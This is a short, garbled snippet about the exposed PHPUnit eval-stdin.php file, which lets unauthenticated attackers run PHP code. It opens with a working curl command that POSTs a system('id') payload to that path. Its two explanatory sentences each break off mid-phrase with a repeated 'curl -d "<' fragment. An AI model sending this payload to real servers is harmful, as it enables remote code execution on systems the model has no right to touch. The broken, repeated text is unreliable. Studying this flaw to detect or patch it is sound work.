curl -d "<?php system('id'); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
This specific path— vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php —is a known security risk when exposed to the public internet. curl -d "<
An unauthenticated remote attacker can send a crafted HTTP POST request containing PHP code starting with curl -d "<